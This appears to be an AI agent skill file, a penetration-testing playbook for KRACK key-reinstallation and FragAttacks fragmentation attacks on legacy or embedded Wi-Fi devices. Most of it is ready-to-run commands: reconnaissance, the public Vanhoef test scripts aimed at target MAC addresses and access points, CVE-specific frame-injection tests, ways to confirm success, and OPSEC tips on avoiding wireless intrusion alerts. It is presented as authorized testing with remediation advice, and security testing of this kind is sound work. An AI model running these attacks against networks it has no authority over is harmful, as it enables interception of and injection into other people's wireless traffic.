krack-fragattacks

name	krack-fragattacks
description	KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
allowed-tools	Bash Read Write
metadata	{"subdomain":"wireless","when_to_use":"KRACK, FragAttacks, key reinstallation, fragmentation, aggregation attack, CVE-2017-13077, CVE-2020-24586, Vanhoef test scripts, legacy supplicant, embedded Wi-Fi, IoT wireless, poor patch cadence","tags":["krack","fragattacks","key-reinstallation","fragmentation","legacy","embedded"],"mitre_attack":"T1557, T1040"}

KRACK + FragAttacks

Viability gate: Both vulnerability families are largely mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1, macOS ≥ High Sierra 10.13.1, and hostapd/wpa_supplicant ≥ 2.9 are all patched. Read this section before spending engagement time. Viable targets: unpatched embedded routers, ISP CPE, industrial Wi-Fi adapters, OT/ICS wireless bridges, legacy Android (≤ 9), custom RTOS supplicants, IoT sensors with frozen firmware.

Scope-viability assessment (run before any active test)

# 1. Identify the target supplicant / AP firmware version
# From passive beacons:
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/krack_recon \
    --output-format pcap <mon-iface>

tshark -r /tmp/krack_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>/dev/null | head

# 2. Identify vendor/OUI from BSSID
echo "<BSSID>" | cut -d: -f1-3 | tr -d ':' | \
    grep -i -f - /usr/share/ieee-data/oui.txt 2>/dev/null || \
    curl -s "https://api.maclookup.app/v2/macs/<first_6_hex>" 2>/dev/null

# 3. Cross-reference vendor/firmware against KRACK/FragAttacks patch matrix
# Key rule of thumb:
#   - wpa_supplicant build date before 2017-10 → KRACK likely
#   - Custom RTOS / bare-metal 802.11 MAC → FragAttacks design flaws highly likely
#   - Linux kernel < 4.14 → KRACK 4-way impl flaw possible
#   - iOS < 11.1, Android < 8.0 → KRACK, check CVE-2017-13080 group key

KRACK Family (CVE-2017-13077..13082)

How it works

During the 4-way handshake (or group-key/FT/PeerLink handshake), the authenticator can retransmit Msg3 (or Msg1 for group key). A vulnerable supplicant reinstalls the PTK/GTK, resetting the TKIP MIC counter or CCMP nonce to a previously-used value. Nonce reuse under AES-CCMP allows decryption and in some modes injection.

Vanhoef krackattacks test scripts

# Clone the test framework
git clone https://github.com/vanhoej/krackattacks-scripts.git
cd krackattacks-scripts

# Install dependencies
pip3 install -r requirements.txt
sudo apt-get install -y libnl-3-dev libnl-genl-3-dev

# Build the modified hostapd
cd hostapd && cp defconfig .config && make -j4 && cd ..

# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)
# The script acts as an AP, manipulates the handshake, and confirms
# nonce reuse in the supplicant's TX frames.
sudo python3 krack-test-client.py \
    --interface <iface> \
    --target-mac <CLIENT_MAC>

# Test group key reinstallation (GTK, CVE-2017-13080)
sudo python3 krack-test-client.py \
    --interface <iface> \
    --target-mac <CLIENT_MAC> \
    --group-key-test

Channel-based MITM setup for KRACK

# KRACK requires MITM position between client and AP.
# Standard setup: clone the AP on a different channel, relay frames.
# The krackattacks-scripts handle this internally via the modified
# hostapd (acts as both client to real AP and AP to victim client).

# Confirm nonce reuse from captured frames:
tshark -r /tmp/krack_capture.pcap -Y "wlan.ccmp.extiv" \
    -T fields -e wlan.sa -e wlan.ccmp.extiv 2>/dev/null | \
    awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print "NONCE REUSE:", $0}'

CVE map for KRACK

CVE	Target	Condition
CVE-2017-13077	Reinstallation of PTK-TK during 4-way	wpa_supplicant / Android
CVE-2017-13078	Reinstallation of GTK during 4-way	wpa_supplicant
CVE-2017-13079	Reinstallation of IGTK during 4-way	wpa_supplicant
CVE-2017-13080	Reinstallation of GTK during group-key handshake	All major platforms
CVE-2017-13081	Reinstallation of IGTK during group-key	wpa_supplicant
CVE-2017-13082	PTK reinstall on FT reassociation (BeAP)	hostapd/APs with 802.11r

FragAttacks Family (CVE-2020-24586..26147)

FragAttacks cover three distinct flaw categories across 802.11 from 1997 to 2020-era implementations. Design flaws affect virtually all clients; implementation flaws vary.

Flaw categories

Category	CVEs	Description
Aggregation design	CVE-2020-24588	Non-SPP A-MSDU flag not checked; allows injection of aggregated frames
Mixed-key attack	CVE-2020-24587	Fragments from different keys can be reassembled
Fragment cache	CVE-2020-24586	Fragments not flushed on reconnect; stale fragment injection
Implementation: plaintext inject	CVE-2020-26140, 26143	AP/client accepts plaintext data frames in encrypted network
Implementation: mixed fragment	CVE-2020-26144, 26145	Accept plaintext broadcast fragment with SPP A-MSDU
Implementation: EAPOL inject	CVE-2020-26139	AP forwards EAPOL from unauthenticated sender (before 4-way)
Implementation: SSP A-MSDU	CVE-2020-26146	Reassemble encrypted fragments with plaintext head fragment
Implementation: mixed EAPOL	CVE-2020-26147	Reassemble mixed encrypted+plaintext fragments

Vanhoef fragattacks test tool

# Clone the test framework
git clone https://github.com/vanhoef/fragattacks.git
cd fragattacks

pip3 install -r requirements.txt
# Build patched wpa_supplicant / hostapd as per README

# Run all FragAttacks tests against a target AP (acting as client)
sudo python3 fragattacks.py <iface> ping \
    --bssid <BSSID> --ssid "<SSID>" \
    --psk "<PSK_IF_KNOWN>"

# Test specific CVE (e.g., plaintext injection CVE-2020-26140):
sudo python3 fragattacks.py <iface> ping-frag-plaintext \
    --bssid <BSSID> --ssid "<SSID>" --psk "<PSK>"

# Test aggregate injection (CVE-2020-24588):
sudo python3 fragattacks.py <iface> ping-amsdu \
    --bssid <BSSID> --ssid "<SSID>" --psk "<PSK>"

# Test EAPOL pre-auth inject (CVE-2020-26139):
sudo python3 fragattacks.py <iface> eapol-inject \
    --bssid <BSSID> --ssid "<SSID>"

Confirming a successful attack

# The test tool will print per-test results like:
# [SUCCESS] ping sent as plaintext using fragmentation (CVE-2020-26140)
# [FAILED]  mixed-key attack: AP correctly rejected

# Pcap evidence: confirm injected frame reached the target
tshark -r /tmp/fragattacks_test.pcap -Y "icmp" \
    -T fields -e ip.src -e ip.dst -e icmp.type 2>/dev/null
# A successful icmp echo from attacker's injected IP confirms injection.

Per-vendor residual exposure notes

Linux mac80211 (kernel < 5.8 without October 2020 patches):
  → CVE-2020-26139 (EAPOL forward), CVE-2020-24587 (mixed-key)
  → Patch: kernel ≥ 5.8 + upstream backports

wpa_supplicant < 2.10 (pre October 2020):
  → CVE-2020-24587, CVE-2020-24586 (fragment cache)

Windows WLAN driver:
  → CVE-2020-24587 (mixed-key), CVE-2020-26144 (plaintext broadcast)
  → Patch: KB4571744 (August 2020 CU)

Custom RTOS / bare-metal 802.11 MAC (common in OT wireless bridges):
  → All design flaws likely; implementation flaws depend on the vendor.
  → No upstream wpa_supplicant → vendor must ship a custom patch.
  → HIGH priority target for this skill.

Confirm patch state from firmware version:
  iw dev <iface> info      # local driver
  snmpwalk -c public <AP_IP> 1.3.6.1.2.1.1.1.0  # AP sysDescr if reachable

Evidence

kg_add_node(
    kind="finding",
    label=f"KRACK/FragAttacks: {cve_id} — {description}",
    props={
        "key": f"fragattacks::{bssid}::{cve_id}",
        "severity": "high",   # Injection/decryption: critical; exposure only: high
        "cve_ids": [cve_id],
        "bssid": bssid,
        "ssid": ssid,
        "client_mac": client_mac,       # if client-side flaw
        "flaw_type": flaw_type,         # "design" | "implementation"
        "test_result": "SUCCESS",
        "tool_output": tool_output_snippet,
        "remediation": (
            "Apply firmware/driver update from vendor. "
            "For wpa_supplicant: upgrade to ≥2.10. "
            "For mac80211: kernel ≥5.8 + security backports. "
            "For custom RTOS: contact vendor for KRACK/FragAttacks patch "
            "or isolate device from untrusted wireless clients."
        ),
    },
)

ZFP

1. fragattacks.py or krack-test-client.py console output naming the CVE and showing [SUCCESS].
2. Pcap with timestamp showing the injected/decrypted frame proof (ICMP echo, injected DNS, etc.).
3. Screenshot of tshark nonce-reuse detection output (for KRACK).

OPSEC notes

• KRACK and FragAttacks require an active channel-based MITM or rogue AP — both are loud and generate continuous management/data frames. Expect WIDS alerts. Gate on posture=loud.
• KRACK MITM setup disrupts normal traffic for the victim client while the test is running. Brief client disconnection is expected.
• FragAttacks test tool sends probe/injection packets to the AP continuously. Rate-limit with --delay parameter if stealth matters.
• Regulatory TX gate applies: confirm iw reg get before activating any TX-capable mode.

References

• Vanhoef, M. & Franken, F., "Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation", USENIX Security 2021.
• Vanhoef, M. & Piessens, F., "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2", ACM CCS 2017.
• fragattacks.com — CVE detail, patch status tracker.
• krackattacks.com — original KRACK disclosure + test scripts.
• NVD entries: CVE-2017-13077..13082, CVE-2020-24586..24588, CVE-2020-26139..26147.
• wpa2-psk skill — primary PSK capture on patched stacks.
• deauth-pmf skill — MITM position setup.